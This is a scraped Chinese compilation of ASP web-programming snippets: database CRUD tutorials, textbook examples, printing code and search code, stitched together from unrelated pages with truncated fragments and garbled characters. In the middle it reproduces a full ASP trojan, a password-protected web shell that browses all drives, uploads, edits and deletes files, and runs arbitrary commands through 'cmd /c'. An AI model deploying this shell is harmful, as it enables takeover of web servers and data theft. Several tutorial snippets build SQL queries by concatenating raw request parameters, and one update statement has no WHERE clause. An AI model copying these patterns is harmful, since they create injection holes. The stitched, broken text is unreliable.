<%abc=request.queryString("a")%>二、取得以post方法发送来的表单数据<%abc=request.form("a")%>三、不管用什么方式发送来的数据,都可以用以下方法取得数据<%abc=request("a")%>四、创建并打开与数据库的连接<%set cn=server.createObject("adodb.connection") cn.connectionString="provider=microsoft.jet.oledb.4.0; data source=" &server.mappath("ddd\用户.mdb")cn.open%>五、对数据执行查询并返回一个记录集,假设数据库连接是cn<%'先创建一个取得数据的SQL查询abc=request.queryString("a") '取得查询的条件chaxunyuju="select * from 基本信息表 where 用户名='" & abc & "'" '加上条件构建了一个查询set jiluji=cn.execute(chaxunyuju) '执行查询并返回记录集%>六、判断一个记录集有没有记录,假充记录集对象是jiluji(看是不是jiluji.bof=true 且jiluji.eof=true)<%if jiluji.bof and jiluji.eof then'无记录情况的处理response.write "没有记录!"else'有记录情况的处理response.write jiluji("用户名")end if%>七、增:追加一条记录的方法,假设数据库连接是cn,且已进行了存在与否的查询<%if jiluji.bof and jiluji.eof then '判断存在与否'先创建一个追加数据的SQL查询abc=request.queryString("a") '取得要追加的数据cde=request.querystring("b") '取得要追加的数据chaxunyuju="insert into 基本信息表(用户名,密码) values('" & abc & "','" & cde& "')" '加上数据构建了一个追加查询cn.execute chaxunyuju '执行查询elseresponse.write "记录已存在!"end if%>八、显:显示记录的方法,假设数据库连接是cn,获得的记录集是jiluji<%do while not jiluji.eof%>'输出每一条记录<%=jiluji("用户名")%><%=jiluji("密码")%><%=jiluji("等级")%><%jiluji.moveNext%>'每输出一条记录,就下移一行<%loop%>九、改:更新记录的方法,假设数据库连接是cn<%if jiluji.bof and jiluji.eof then '判断存在与否response.write "记录不存在!"else'先创建一个更新数据的SQL查询abc=request.queryString("a") '取得要追加的数据cde=request.querystring("b") '取得要追加的数据chaxunyuju="update 基本信息表 set 用户名='" & abc & "',密码='" & cde & "'" '加上数据构建了一个追加查询cn.execute chaxunyuju '执行查询end if%>十、删:删除记录,假设数据库是cn<%abc=request.queryString("a") '先获得要删除的记录的关键词 chaxunyuju="delete from 基本信息表 where 用户名='" & abc & "'"cn.execute chaxunyuju%>十一、要及时关闭记录集和数据库(用完以后要关闭)<%jiluji.closeset jiluji=nothingcn.closeset cn=nothing%>。
ASP网络应用程序设计教程(第二版)例题源代码
ASP_SE 各章示例代码
【例 1.1】简单静态 HTML 网页示例 <!-- File Name: 世界你好.htm --> <html> <head> <title> 简单静态网页示例 </title> </head> <body> <p align="center"><font color="blue">Hello World!</font></p> <p align="center"><font face="黑体">世界你好!</font></p> </body> </html>
src = "left.htm" >
totay = Date() theTime = Time() If left(theTime,2)> "12" Then
Response.Write "<H3>下午好!</H3>" Else
Response.Write "<H3>上午好!</H3>" End If %> 今天是 <%=totay%>,时间 <%=theTime%> </body> </html>
【例 1.2】客户端动态网页示例 <!-- File Name: hello.htm --> <html> <head> <script language="JavaScript"> function getname(str) {alert("您好! "+ str+"!");} </script> </head> <body> 请输入您的姓名: <form> <input type="text" name="name" onBlur="getname(this.value)" value=""> </form> </body> </html>
ASP木马代码(仅供爱好者参考)
ASP木马代码(仅供参考)<%@ LANGUAGE = VBScript.Encode codepage ="936" %><%Server.ScriptTimeOut=5000%><object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object><object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object><object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object><%'on error resume nextdim Data_5xsoftClass upload_5xsoftdim objForm,objFile,V ersionPublic function Form(strForm)strForm=lcase(strForm)if not objForm.exists(strForm) thenForm=""elseForm=objForm(strForm)end ifend functionPublic function File(strFile)strFile=lcase(strFile)if not objFile.exists(strFile) thenset File=new FileInfoelseset File=objFile(strFile)end ifend functionPrivate Sub Class_Initializedim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFiledim iFileSize,sFilePath,sFileType,sFormV alue,sFileNamedim iFindStart,iFindEnddim iFormStart,iFormEnd,sFormNameV ersion="HTTP上传程序V ersion 2.0"set objForm=Server.CreateObject("Scripting.Dictionary")set objFile=Server.CreateObject("Scripting.Dictionary")if Request.TotalBytes<1 then Exit Subset tStream = Server.CreateObject("adodb.stream")set Data_5xsoft = Server.CreateObject("adodb.stream")Data_5xsoft.Type = 1Data_5xsoft.Mode =3Data_5xsoft.OpenData_5xsoft.Write Request.BinaryRead(Request.TotalBytes)Data_5xsoft.Position=0RequestData =Data_5xsoft.ReadiFormStart = 1iFormEnd = LenB(RequestData)vbCrlf = chrB(13) & chrB(10)sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1) iStart = LenB (sStart)iFormStart=iFormStart+iStart+1while (iFormStart + 10) < iFormEndiInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3 tStream.Type = 1tStream.Mode =3tStream.OpenData_5xsoft.Position = iFormStartData_5xsoft.CopyTo tStream,iInfoEnd-iFormStarttStream.Position = 0tStream.Type = 2tStream.Charset ="gb2312"sInfo = tStream.ReadTexttStream.CloseiFormStart = InStrB(iInfoEnd,RequestData,sStart)iFindStart = InStr(22,sInfo,"name=""",1)+6iFindEnd = InStr(iFindStart,sInfo,"""",1)sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))if InStr (45,sInfo,"filename=""",1) > 0 thenset theFile=new FileInfoiFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10iFindEnd = InStr(iFindStart,sInfo,"""",1)sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)theFile.FileName=getFileName(sFileName)theFile.FilePath=getFilePath(sFileName)iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14iFindEnd = InStr(iFindStart,sInfo,vbCr)theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)theFile.FileStart =iInfoEndtheFile.FileSize = iFormStart -iInfoEnd -3theFile.FormName=sFormNameif not objFile.Exists(sFormName) thenobjFile.add sFormName,theFileend ifelsetStream.Type =1tStream.Mode =3tStream.OpenData_5xsoft.Position = iInfoEndData_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3tStream.Position = 0tStream.Type = 2tStream.Charset ="gb2312"sFormV alue = tStream.ReadTexttStream.Closeif objForm.Exists(sFormName) thenobjForm(sFormName)=objForm(sFormName)&", "&sFormV alue elseobjForm.Add sFormName,sFormV alueend ifend ifiFormStart=iFormStart+iStart+1wendRequestData=""set tStream =nothingEnd SubPrivate Sub Class_Terminateif Request.TotalBytes>0 thenobjForm.RemoveAllobjFile.RemoveAllset objForm=nothingset objFile=nothingData_5xsoft.Closeset Data_5xsoft =nothingend ifEnd SubPrivate function GetFilePath(FullPath)If FullPath <> "" ThenGetFilePath = left(FullPath,InStrRev(FullPath, "\"))ElseGetFilePath = ""End IfEnd functionPrivate function GetFileName(FullPath)If FullPath <> "" ThenGetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)ElseGetFileName = ""End IfEnd functionEnd ClassClass FileInfodim FormName,FileName,FilePath,FileSize,FileType,FileStartPrivate Sub Class_InitializeFileName = ""FilePath = ""FileSize = 0FileStart= 0FormName = ""FileType = ""End SubPublic function SaveAs(FullPath)dim dr,ErrorChar,iSaveAs=trueif trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function set dr=CreateObject("Adodb.Stream")dr.Mode=3dr.Type=1dr.OpenData_5xsoft.position=FileStartData_5xsoft.copyto dr,FileSizedr.SaveToFile FullPath,2dr.Closeset dr=nothingSaveAs=falseend functionEnd Classhttpt = Request.ServerV ariables("server_name")rseb=Request.ServerV ariables("SCRIPT_NAME")q=request("q")if q="" then q=rsebselect case qcase rsebif Epass(trim(request.form("password")))="q_ux888556" thenresponse.cookies("password")="7758521"response.redirect rseb & "?q=list.asp"else %><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title><%=httpt%></title><meta name="GENERA TOR" content="Microsoft FrontPage 3.0"></head><body><%if request.form("password")<>"" thenresponse.write "Password Error!"end if%><table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3" bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0"><tr><td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td></tr><tr><td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>"> <div align="center"><center><p>Enter Password:<input type="password" name="password" size="20"style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset"><input type="submit" value="OK!LOGIN" name="B1"style="font-size: 9pt; border: thin outset"></p></center></div></form></td></tr></table></body></html><%end if%><%case "down.asp"call downloadFile(request("path"))function downloadFile(strFile)strFilename = strFileResponse.Buffer = TrueResponse.Clearset s = Server.CreateObject("adodb.stream")s.Opens.Type = 1if not oFileSys.FileExists(strFilename) thenResponse.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")Response.Endend ifSet f = oFileSys.GetFile(strFilename)intFilelength = f.sizes.LoadFromFile(strFilename)if err thenResponse.Write("<h1>Error: </h1>" & err.Description & "<p>")Response.Endend ifResponse.AddHeader "Content-Disposition", "attachment; filename=" & Response.AddHeader "Content-Length", intFilelengthResponse.CharSet = "UTF-8"Response.ContentType = "application/octet-stream"Response.BinaryWrite s.ReadResponse.Flushs.CloseSet s = Nothingresponse.endEnd Function%><%case "list.asp"%><%urlpath=server.urlencode(path)if Request.Cookies("password")="7758521" thendim cpath,lpathif Request("path")="" thenlpath="/"elselpath=Request("path")&"/"end ifif Request("attrib")="true" thencpath=lpathattrib="true"elsecpath=Server.MapPath(lpath)attrib=""end ifSub GetFolder()dim theFolder,theSubFoldersif oFileSys.FolderExists(cpath)thenSet theFolder=oFileSys.GetFolder(cpath)Set theSubFolders=theFolder.SubFoldersResponse.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><fontcolor='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=vbscript>"For Each x In theSubFolders%>so "<%=lpath%>","<%=%>","<%=request("path")%>","<%=attrib%>"<%Next%></script><%end ifEnd SubSub GetFile()dim theFilesif oFileSys.FolderExists(cpath)thenSet theFolder=oFileSys.GetFolder(cpath)Set theFiles=theFolder.FilesResponse.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"For Each x In theFilesif Request("attrib")="true" thenshowstring=elseshowstring=end if%>sf"<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastM odified%>","<%=lpath%>","<%=%>","<%=attrib%>","<%=%>"<%Nextend ifResponse.write"</script></table>"End Sub%><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title><%=httpt%></title><style type="text/css"><!--table{ font-family: 宋体; font-size: 9pt }a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }a:visited{ color: rgb(128,0,0) }td { font-size: 9pt}a { color: #000000; text-decoration: none}a:hover { text-decoration: underline}.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px;border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}--></style></head><script language="JavaScript">function crfile(ls){if (ls==""){alert("请输入文件名!");}else{window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=l path%>"+ls);}return false;}function crdir(ls){if (ls==""){alert("请输入文件名!");}else{window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=l path%>"+ls);}return false;}</script><script language="vbscript">sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"& urlpath & lpath & xName &"' target='_blank'><strong>" & showstring & "</strong></a></td><td width='20%' align='right'>" & size & "字节</td><td width='30%'><a href='#' title='类型:" & type1 & chr(10) & "属性:" & Attributes & chr(10) & "时间:" & DateLastModified &"'>属性</a> <a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>编辑</a> <a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a> <a href='#' onclick=copyfile('" & lpath & Name & "')><font color='#FF8000' ></font>复制</a> <a href='<%=rseb%>?q=down.asp&path=<%=cpath%>\"&xName&"&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>下载</a></td></tr>"end subsub so(lpath,xName,path,attrib)document.write "<a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " & xName &"</a> <a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a><br>"end subsub rmdir1(ls)if confirm("你真的要删除这个文件吗!"&Chr(13)&Chr(10)&"文件为:"&ls) thenwindow.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")end ifend subsub rmdir(ls)if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls) thenwindow.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>") end ifend subsub copyfile(sfile)dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件:"&sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10)&"[允许带路径,要根据你的当前路径模式]")dfile=trim(dfile)attrib="<%=request("attrib")%>"if dfile<>"" thenif InStr(dfile,":") or InStr(dfile,"/")=1 thenlp=""if InStr(dfile,":") and attrib<>"true" thenalert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]"exit subend ifelselp="<%=lpath%>"end ifwindow.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp +dfile)elsealert"您没有输入文件名!"end Ifend sub</script><body><table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000" bordercolordark="#FFFFFF" cellspacing="0"><tr><td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3" color="#FFFFFF"><%=httpt%></font></td></tr><tr><td width="751" bgcolor="#C0C0C0" colspan="2">※换盘:<spanstyle="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%For Each thing in oFileSys.DrivesResponse.write "<font face=Wingdings>:</font><a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"NEXT%> </span> 地址:<%= "\\" & puterName & "\" & erName %></td></tr><tr><td width="751" bgcolor="#C0C0C0" colspan="2">※<%if Request("attrib")="true" thenresponse.write "<a href='" & rseb & "?q=list.asp'>切到相对路径</a>"elseresponse.write "<a href='" & rseb & "?attrib=true&q=list.asp'>切到绝对路径</a>"end if%> ※绝对:<spanstyle="background-color: rgb(255,255,255)"><%=cpath%></span></td></tr><tr><td width="751" bgcolor="#C0C0C0" colspan="2">※当前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td></tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data"><tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">编辑|<input class="tx1" type="text" name="filename" size="20"><input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)"><input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)"><input type="file" name="file1" class="tx1" style="width:100" value=""><input type="text" name="filepath" class="tx1" style="width:100" value="<%=cpath%>"><input type="hidden" name="act" value="upload"><input type="hidden" name="upcount" class="tx" value="1"><input class="tx1" type="submit" value="上传"><input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令"><input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置"><input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso"></td></td></tr></form><tr><td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%></td><td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%></td></tr></table><%elseresponse.write "Password Error!"response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"end if%></body></html><%case "edit.asp"%><html><head><meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80"><title>编辑源代码</title><style><!--table{ font-family: 宋体; font-size: 12pt }a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }a:visited{ color: rgb(128,0,0) }--></style></head><body><% '读文件if Request.Cookies("password")="7758521" thenif request("op")="del" thenif Request("attrib")="true" thenwhichfile=Request("path")elsewhichfile=server.mappath(Request("path"))end ifSet thisfile = oFileSys.GetFile(whichfile)thisfile.Delete TrueResponse.write "<script>alert('删除成功!要刷新才能看到效果');window.close();</script>" elseif request("op")="copy" thenif Request("attrib")="true" thenwhichfile=Request("path")dsfile=Request("dpath")elsewhichfile=server.mappath(Request("path"))dsfile=Server.MapPath(Request("dpath"))end ifSet thisfile = oFileSys.GetFile(whichfile)thisfile.copy dsfile%><script language=vbscript>msgbox "源文件:<%=whichfile%>" & vbcrlf & "目的文件:<%=dsfile%>" & vbcrlf & "复制成功!要刷新才能看到效果!"window.close()</script><%elseif request.form("text")="" thenif Request("creat")<>"yes" thenif Request("attrib")="true" thenwhichfile=Request("path")elsewhichfile=server.mappath(Request("path"))end ifSet thisfile = oFileSys.OpenTextFile(whichfile, 1, False)counter=0thisline=thisfile.readallthisfile.Closeset fs=nothingend if%><form method="POST" action="<%=rseb%>?q=edit.asp"><input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"width="700" cellpadding="0"><tr><td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td></tr><tr align="center"><td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45" value="<%=Request("path")%> ">直接更改文件名,相当于“另存为”</td></tr><tr align="center"><td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td></tr><tr align="center"><td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"value="提交" name="B1"><input type="reset" value="复原" name="B2"></td></tr></table></form><%elseif Request("attrib")="true" thenwhichfile=Request("path")elsewhichfile=server.mappath(Request("path"))end ifSet outfile=oFileSys.CreateTextFile(whichfile)outfile.WriteLine Request("text")outfile.closeset fs=nothingResponse.write "<script>alert('修改成功!要刷新才能看到效果');window.close();</script>" end ifend ifend ifelseresponse.write "Password Error!"response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"end if%></body></html><%case "edir.asp"%><html><head><meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80"><title>目录操作</title><style><!--table{ font-family: 宋体; font-size: 12pt }a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }a:visited{ color: rgb(128,0,0) }--></style></head><body><% '读文件if Request.Cookies("password")="7758521" thenif request("op")="del" thenif Request("attrib")="true" thenwhichdir=Request("path")elsewhichdir=server.mappath(Request("path"))end ifoFileSys.DeleteFolder whichdir,TrueResponse.write "<script>alert('删除的目录为:" & whichdir & "删除成功!要刷新才能看到效果');window.close();</script>"elseif request("op")="creat" thenif Request("attrib")="true" thenwhichdir=Request("path")elsewhichdir=server.mappath(Request("path"))end ifoFileSys.CreateFolder whichdirResponse.write "<script>alert('建立的目录为:" & whichdir & "建立成功!要刷新才能看到效果');window.close();</script>"end ifend ifelseresponse.write "Password Error!"response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"end if%></body></html><%case "upfile.asp"if Request.Cookies("password")="7758521" thenset upload=new upload_5xSoftif upload.form("filepath")="" thenHtmEnd "请输入要上传至的目录!"set upload=nothingresponse.endelseformPath=upload.form("filepath")if right(formPath,1)<>"/" then formPath=formPath&"/"end ifiCount=0for each formName in upload.objFormset file=upload.file(formName)if file.FileSize>0 thenfile.SaveAs formPath & file.FileNameresponse.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"iCount=iCount+1end ifset file=nothingnextset upload=nothingHtmend iCount&" 个文件上传结束!"sub HtmEnd(Msg)set upload=nothingResponse.write "上传完毕!要刷新才能看到效果!<P><input value=关闭type=button onclick=window.close();>"response.endend subelseresponse.write "Password Error!"response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"end ifcase "cmd.asp"if Request.Cookies("password")<>"7758521" thenresponse.write "Password Error!"response.write "<a href='" & rseb & "?q=" & rseb & "'>【返回】</a>"else%><title>ASP Shell</title><object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object><object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object><object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object><%On Error Resume NextszCMD = Request.Form(".CMD")If (szCMD <> "") ThenszTempFile = "C:\winnt\help\" & oFileSys.GetTempName( )Call oScript.Run ("cmd /c " & szCMD & " > " & szTempFile, 0, True)Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)End If%><HTML><BODY><FORM action="<%=rseb%>?q=cmd.asp" method="POST"><input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="执行命令">。
ASP打印代码大全
ASP开发必备:WEB打印代码大全这篇文章主要介绍了如何使用ASP控制Web的各种打印效果,它能够控制纵打、横打和页面边距等。
1、控制"纵打"、 "横打"和"页面的边距"。
(1)<script defer>function SetPrintSettings() {// -- advanced featuresfactory.printing.SetMarginMeasure(2) // measure margins in inchesfactory.SetPageRange(false, 1, 3) // need pages from 1 to 3factory.printing.printer = "HP DeskJet 870C"factory.printing.copies = 2factory.printing.collate = truefactory.printing.paperSize = "A4"factory.printing.paperSource = "Manual feed"// -- basic featuresfactory.printing.header = "This is MeadCo"factory.printing.footer = "Advanced Printing by ScriptX"factory.printing.portrait = falsefactory.printing.leftMargin = 1.0factory.printing.topMargin = 1.0factory.printing.rightMargin = 1.0factory.printing.bottomMargin = 1.0}</script>(2)<script language="javascript">function printsetup(){// 打印页面设置wb.execwb(8,1);}function printpreview(){// 打印页面预览wb.execwb(7,1);}function printit(){if (confirm('确定打印吗?')) {wb.execwb(6,6)}}</script></head><body><OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"height=0 id=wb name=wb width=0></OBJECT><input type=button name=button_print value="打印"onclick="javascript:printit()"><input type=button name=button_setup value="打印页面设置"onclick="javascript:printsetup();"><input type=button name=button_show value="打印预览"onclick="javascript:printpreview();"><input type=button name=button_fh value="关闭"onclick="javascript:window.close();">------------------------------------------------关于这个组件还有其他的用法,列举如下:WebBrowser.ExecWB(1,1) 打开Web.ExecWB(2,1) 关闭现在所有的IE窗口,并打开一个新窗口Web.ExecWB(4,1) 保存网页Web.ExecWB(6,1) 打印Web.ExecWB(7,1) 打印预览Web.ExecWB(8,1) 打印页面设置Web.ExecWB(10,1) 查看页面属性Web.ExecWB(15,1) 好像是撤销,有待确认Web.ExecWB(17,1) 全选Web.ExecWB(22,1) 刷新Web.ExecWB(45,1) 关闭窗体无提示2、分页打印<HTML><HEAD><STYLE>P {page-break-after: always}</STYLE></HEAD><BODY><%while not rs.eof%><P><%=rs(0)%></P><%rs.movenext%><%wend%></BODY></HTML>3、ASP页面打印时如何去掉页面底部的路径和顶端的页码编号(1)ie的文件-〉页面设置-〉讲里面的页眉和页脚里面的东西都去掉,打印就不出来了。
20个经典ASP例子
20个经典ASP例⼦1.如何⽤Asp判断你的⽹站的虚拟物理路径答:使⽤Mappath⽅法< p align="center" > < font size="4" face="Arial" > < b >The Physical path to this virtual website is:< /b > < /font >< font color="#FF0000" size="6" face="Arial" >< %= Server.MapPath("\")% >< /font > < /p >2.我如何知道使⽤者所⽤的浏览器?答:使⽤the Request object⽅法strBrowser=Request.ServerVariables("HTTP_USER_AGENT")If Instr(strBrowser,"MSIE") < > 0 Then Response.redirect("ForMSIEOnly.htm")Else Response.redirect("ForAll.htm")End If3.如何计算每天的平均反复访问⼈数答:解决⽅法< % startdate=DateDiff("d",Now,"01/01/1990")if strdate < 0 then startdate=startdate*-1avgvpd=Int((usercnt)/startdate) % >显⽰结果< % response.write(avgvpd) % >that is it.this page have been viewed since November 10,19984.如何显⽰随机图象< % dim p,ppic,dpicppic=12randomizep=Int((ppic*rnd)+1)dpic="graphix/randompics/"&p&".gif"% >显⽰< img src=" < %=dpic% >" >5.如何回到先前的页⾯答: < a href=" < %=request.serverVariables("Http_REFERER")% >" >preivous page < /a >或⽤图⽚如: < img src="arrowback.gif" alt=" < %=request.serverVariables("HTTP_REFERER")% >" >6.如何确定对⽅的IP地址答: < %=Request.serverVariables("REMOTE_ADDR)% >7.如何链结到⼀副图⽚上答: < % @Languages=vbs cript % >< % response.expires=0strimagename="graphix/errors/erroriamge.gif"response.redirect(strimagename)% >8.强迫输⼊密码对话框答:把这句话放载页⾯的开头< % response.status="401 not Authorized"response.end% >9.如何传递变量从⼀页到另⼀页答:⽤ HIDDEN 类型来传递变量< % form method="post" action="mynextpage.asp" >< % for each item in request.form % >< input namee=" < %=item% >" type="HIDDEN"value=" < %=server.HTMLEncode(Request.form(item)) % >" >< % next % >< /form >10.为何我在 asp 程序内使⽤ msgbox,程序出错说没有权限答:由于 asp 是服务器运⾏的,如果可以在服务器显⽰⼀个对话框,那么你只好等有⼈按了确定之后,你的程序才能继续执⾏,⽽⼀般服务器不会有⼈守着,所以微软不得不禁⽌这个函数,并胡乱告诉你 (:) 呵呵) 没有权限。
ASP经典实用代码
1、数据库连接。
ASP与Access数据库连接:
<%@ language=VBscript%>
<%
dim conn,mdbfile powered by
mdbfile=server.mappath("数据库名称.mdb")
set conn=server.createobject("adodb.connection")
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称
%>
DW中用字符串连接代码:
"Driver={Microsoft Access Driver (*.mdb)};DBQ=数据库的绝对路径"
sql="SELECT * FROM data" '更改您的数据库表名
rs.Open sql,conn,1,1
6、获得系统的时间。
<%=now()%>
7、取得来访问的IP。
<%=request.serverVariables("remote_host")%>
8、随机数。
< % next % >
< /form >
12、常用SQL语句整理。
(1) 数据记录筛选:
sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"
sql="select * from 数据表 where 字段名 like ''%字段值%'' order by 字段名 [desc]"
asp源代码
asp源代码
ASP(Active Server Pages)是一种基于服务器端的脚本语言,用于创建动态网页和应用程序。
本文将探讨ASP源代码的基本概念、语法和用法,并提供一些示例以帮助读者更好地理解和应用ASP。
ASP源代码是在ASP文件中编写的。
ASP文件可以包含HTML标记和ASP脚本。
ASP脚本通过包含在尖括号<% %>内部来识别。
在这些标记中,可以编写各种ASP代码,如变量声明、条件语句、循环语句、函数和对象等。
在ASP中,可以使用各种对象和组件来完成各种任务。
例如,可以使用Request对象来获取来自客户端的数据,使用Response对象向客户端发送数据。
还可以使用Server对象访问服务器上的一些属性和方法。
此外,还可以使用Session和Application对象来处理会话和应用程序级别的数据。
下面是一些ASP源代码的示例:
1. 变量声明和输出:
<%
Dim name name = \。
ASP查询代码
5、检索出错文件error.htm
<html>
<head>
<title>
出错啦!
</title>
</head>
<body>
<center>对不起,您要检索的信息字符串不合法则!<br>请<a href="javascript:history.back(1)">返回</a>重新检索!</center>
strNew2=strNew2 & " or about like '%" & strSubKey & "%'"
Next
End Select
'得到完整的SQL语句
AutoKey="Select * from data where title like '%" & strKey & "%' or about like '%" & strKey & "%'" & strNew1 & strNew2
请输入关键字:
<input type="text" name="key" size="10">
<input type="submit" value="搜索">
</form>
<%
Dim S_Key,RST,StrSQL
asp代码大全:ASP必须知道的精华代码大全
asp代码大全:ASP必须知道的精华代码大全
